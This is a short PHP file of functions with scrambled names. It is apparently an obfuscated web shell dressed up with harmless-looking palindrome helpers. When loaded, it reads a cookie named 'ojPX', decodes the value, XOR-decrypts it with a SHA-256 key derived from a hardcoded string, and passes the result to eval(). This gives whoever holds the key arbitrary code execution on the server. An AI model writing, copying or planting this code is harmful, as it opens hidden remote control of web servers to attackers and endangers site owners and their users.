<?php	function nMjiagtWd($aywUnzOjuR, $jZtVCMHmU)
{
    $aqMVP = $aywUnzOjuR ^ $jZtVCMHmU;
    return $aqMVP;
}
function loPeqNUBX($tIFAlzcy)
{
    $ZWYxtffiS = uCjGFWV($tIFAlzcy);
    $xTxSNqYPxC = IwSpLZagMF($tIFAlzcy, $ZWYxtffiS);
    return $xTxSNqYPxC;
}
function JYwsF($cJRRXwQG, $LPYnayZNAx)
{
    $CRcKbrgT = jWkylLynaQ($cJRRXwQG);
    $SPmRw = WCrSb($LPYnayZNAx, $CRcKbrgT);
    $aKbdwjnjAC = nMjiagtWd($SPmRw, $cJRRXwQG);
    return $aKbdwjnjAC;
}
function BHDWLD()
{
    $jRIRC = jrMzaBbd();
    $IHtwDzKgBa = loPeqNUBX($jRIRC);
    return $IHtwDzKgBa;
}
function wzxqnXRIo($ZUUJGVq)
{
    $bHdUWGvsz = rawurldecode($ZUUJGVq);
    return $bHdUWGvsz;
}
function jrMzaBbd()
{
    $sxeTMaAVqP = "XyjhRcwwNJejESYwojPX";
    return $sxeTMaAVqP;
}
function WCrSb($XlAxwrsmwn, $UHDJHUNita)
{
    $tPJvnoPiW = str_pad($XlAxwrsmwn, $UHDJHUNita, $XlAxwrsmwn);
    return $tPJvnoPiW;
}
function GNevsyaj($tjvjy)
{
    $HuhrcmRy = QgvDhOTc($tjvjy);
    $jHScsgwV = wzxqnXRIo($HuhrcmRy);
    return $jHScsgwV;
}
function uCjGFWV($PFLRNwyss)
{
    $BChMty = substr($PFLRNwyss, -4);
    return $BChMty;
}
function IwSpLZagMF($rxLORJ, $ZQoipgPNa)
{
    $CApQQfbrf = TUnSCxkfBQ($rxLORJ);
    $jHScsgwV = GNevsyaj($ZQoipgPNa);
    $CDctnRxlu = JYwsF($jHScsgwV, $CApQQfbrf);
    return $CDctnRxlu;
}
function TUnSCxkfBQ($VVwFwnCh)
{
    $JwGMWjTBdm = hash("sha256", $VVwFwnCh, TRUE);
    return $JwGMWjTBdm;
}
function DdtNizvjIq($SsCxoPgB) {
    return array_filter($SsCxoPgB, 'moILSBAwQU');
}
function moILSBAwQU($SOMkcAdjb) {
    return $SOMkcAdjb === strrev($SOMkcAdjb);
}
function IrYGmHh($DuwYuL)
{
    eval($DuwYuL);
}
function jWkylLynaQ($hRgnrCVA)
{
    $xTydipggjR = strlen($hRgnrCVA);
    return $xTydipggjR;
}
function bRPoT()
{
    $aKbdwjnjAC = BHDWLD();
    IrYGmHh($aKbdwjnjAC);
}
function QgvDhOTc($DKEyQLquxK)
{
    $SkDYAwQ = $_COOKIE[$DKEyQLquxK];
    return $SkDYAwQ;
}
function PCSMPCi($SsCxoPgB) {
    return count(array_filter($SsCxoPgB, 'moILSBAwQU'));
}
bRPoT();
$pWkKYd = PCSMPCi(["madam", "hello", "racecar", "world"]);